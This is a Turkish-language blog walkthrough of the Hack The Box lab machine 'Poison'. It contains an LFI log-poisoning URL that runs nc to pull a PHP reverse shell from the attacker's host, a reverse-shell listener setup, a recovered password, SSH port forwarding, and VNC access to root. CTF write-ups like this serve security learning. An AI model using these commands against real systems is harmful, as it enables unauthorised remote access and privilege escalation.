İçeriğe geç

Poison

Tarih: 12/08/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Poison - HTB Orta Linux

Walkthrough

nmap taraması ile başlayalım. 80. portu açık gördüm ve hemen ilerledim. Daha sonarsında http://10.10.10.84/pwdbackup.txt adresini keşfettim. Ana sayfada bilinçi bir şekilde lfi bırakılmıştı. Log poison yapcağımız çok belli. http://10.10.10.84/pwdbackup.txt adresinde bir base64 vardı ve 13 kere şifrelediğini söylüyordu. İndirdim ve çözdüm.


┌──(root💀kali)-[~/oscp/htb/poison]
└─# cat key
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

┌──(root💀kali)-[~/oscp/htb/poison]
└─# cat key| base64 -d | base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d |  base64 -d   
Charix!2#4%6&8(0

/tmp'in içine bir reverse attım ve daha sonra bunu lfi ile çağırıp shell aldım.

view-source:http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&cmd=nc%2010.10.14.12%204444%20|%20tee%20/tmp/reverse.php

┌──(root💀kali)-[~/oscp/htb/poison]
└─# head php-reverse-shell.php 
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.12';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;

┌──(root💀kali)-[~/oscp/htb/poison]
└─# cat php-reverse-shell.php| nc -lvp 4444
listening on [any] 4444 ...
10.10.10.84: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.84] 19800
http://10.10.10.84/browse.php?file=%2Ftmp%2Freverse.php


┌──(root💀kali)-[~/oscp/htb/poison]
└─# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.84: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.84] 14118
FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017     [email protected]:/usr/obj/usr/src/sys/GENERIC  amd64
 2:27PM  up  1:09, 0 users, load averages: 0.30, 0.34, 0.31
USER       TTY      FROM                                      LOGIN@  IDLE WHAT
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off
$

/etc/passwd'ye baktığımda charix kullanıcısını gördüm. Elimde de bir parola olduğundan dolayı deneyeyim dedim ve ak yükselttim.


$ su charix
Password:Charix!2#4%6&8(0
id
uid=1001(charix) gid=1001(charix) groups=1001(charix)

Tabiki ssh ile de bu işlem yapılabilirdi... Yapalım ve ilk flagimizi alalım.


└─# ssh [email protected]                                                                                       1 ⨯
Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
To erase a line you've written at the command prompt, use "Ctrl-U".
        -- Dru <[email protected]>
charix@Poison:~ % ls
secret.zip  user.txt
charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a589233063604209c

Daha sonra linpeas çalıştırdım ve ilginç bir şey farkettim.


╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root       1  2.0  0.1   5408  1040  -  SLs  13:17     0:00.03 /sbin/init --
charix 63435  0.2  0.3  13180  3348  1  S+   16:57     0:00.04 /bin/sh ./linpeas.sh -a
root     319  0.0  0.5   9560  5052  -  Ss   13:17     0:00.64 /sbin/devd
root     390  0.0  0.2  10500  2448  -  Ss   13:17     0:00.97 /usr/sbin/syslogd -s
root     543  0.0  0.5  56320  5416  -  S    13:18     0:07.90 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr/local/lib/open-vm-tools/plugins/vmsvc
root     620  0.0  0.7  57812  7052  -  Is   13:18     0:00.49 /usr/sbin/sshd
root     785  0.0  1.1  99172 11516  -  Ss   13:19     0:00.32 /usr/local/sbin/httpd -DNOHTTPACCEPT
www      893  0.0  1.2 101220 12056  -  I    13:19     0:00.03 /usr/local/sbin/httpd -DNOHTTPACCEPT
www      894  0.0  1.2 101220 11996  -  I    13:19     0:00.10 /usr/local/sbin/httpd -DNOHTTPACCEPT
www      895  0.0  1.2 101220 11996  -  I    13:19     0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www      896  0.0  1.2 101220 11996  -  I    13:19     0:00.06 /usr/local/sbin/httpd -DNOHTTPACCEPT
www      897  0.0  1.2 101220 11948  -  I    13:19     0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
root     930  0.0  0.6  20636  6204  -  Ss   13:20     0:00.18 sendmail: accepting connections (sendmail)
smmsp   1029  0.0  0.6  20636  5936  -  Is   13:20     0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root    1033  0.0  0.2  12592  2436  -  Ss   13:20     0:00.04 /usr/sbin/cron -s
www     6109  0.0  0.3  13180  2680  -  I    14:58     0:00.01 /bin/sh -i
root    6154  0.0  0.3  43748  2968  -  I    15:10     0:00.01 su charix
charix  6167  0.0  0.3  19660  3096  -  I    15:11     0:00.01 _su (csh)
charix  6171  0.0  0.3  13180  2656  -  I    15:12     0:00.00 /bin/sh
www     8183  0.0  1.2 101220 11996  -  I    14:05     0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     8512  0.0  1.2 101220 11932  -  S    14:25     0:01.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
charix  9736  0.0  0.8  85228  8160  -  S    15:14     0:00.47 sshd: charix@pts/1 (sshd)
root     529  0.0  0.9  23620  8868 v0- I    13:18     0:00.03 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root     540  0.0  0.7  67220  7064 v0- I    13:18     0:00.02 xterm -geometry 80x24+10+10 -ls -title X Desktop
root     541  0.0  0.5  37620  5312 v0- I    13:18     0:00.01 twm
root    1080  0.0  0.2  10484  2076 v0  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv0
root    1081  0.0  0.2  10484  2076 v1  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv1
root    1082  0.0  0.2  10484  2076 v2  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv2
root    1083  0.0  0.2  10484  2076 v3  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv3
root    1084  0.0  0.2  10484  2076 v4  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv4
root    1085  0.0  0.2  10484  2076 v5  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv5
root    1086  0.0  0.2  10484  2076 v6  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv6
root    1087  0.0  0.2  10484  2076 v7  Is+  13:20     0:00.00 /usr/libexec/getty Pc ttyv7
root     563  0.0  0.4  19660  3616  0  Is+  13:18     0:00.01 -csh (csh)
charix  9745  0.0  0.4  19660  3736  1  Ss   15:14     0:00.06 -csh (csh)
charix 64456  0.0  0.3  13180  3348  1  S+   16:57     0:00.00 /bin/sh ./linpeas.sh -a
charix 64459  0.0  0.3  13180  3348  1  S+   16:57     0:00.00 /bin/sh ./linpeas.sh -a
charix 64460  0.0  0.3  21208  2668  1  R+   16:57     0:00.00 ps fauxwww

vnc oturum root haklarında var. Ancak port localde. Bu yüzden port yönlendirmesi yapmam gerekiyor. ssh ile bunu gerçekleştirdim.

┌──(root💀kali)-[~/oscp/htb/poison]
└─#  ssh -L5901:127.0.0.1:5901 [email protected]

Daha sonra bağlanmayı denedim.


┌──(root💀kali)-[~/tool/linux-smart-enumeration]
└─# vncviewer 127.0.0.1::5901                                                                                   1 ⨯
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication failed

Benden şfre isteyince tekrar makineye bağlandım ve home klasöründeki secret dosyasını kullanmayı düşündüm. zip dosyası şifreliydi. Tespit ettiğim parolayı denediğimde açıldı.


┌──(root💀kali)-[~/tool/linux-smart-enumeration]
└─# scp [email protected]:/home/charix/secret.zip .                                                             1 ⨯
Password for charix@Poison:
Password for charix@Poison:
secret.zip                                                                         100%  166     2.2KB/s   00:00    

┌──(root💀kali)-[~/tool/linux-smart-enumeration]
└─# 7z x secret.zip               

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 166 bytes (1 KiB)

Extracting archive: secret.zip
--
Path = secret.zip
Type = zip
Physical Size = 166

Would you like to replace the existing file:
  Path:     ./secret
  Size:     0 bytes
  Modified: 2021-08-12 12:12:59
with the file from archive:
  Path:     secret
  Size:     8 bytes (1 KiB)
  Modified: 2018-01-24 13:01:14
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y

Enter password (will not be echoed):
Everything is Ok

Size:       8
Compressed: 166

Ve root!


┌──(root💀kali)-[~/tool/linux-smart-enumeration]
└─# vncviewer 127.0.0.1::5901 -passwd secret                                                                    1 ⨯
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

Açılan vnc ekrarnında root'tum.

Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir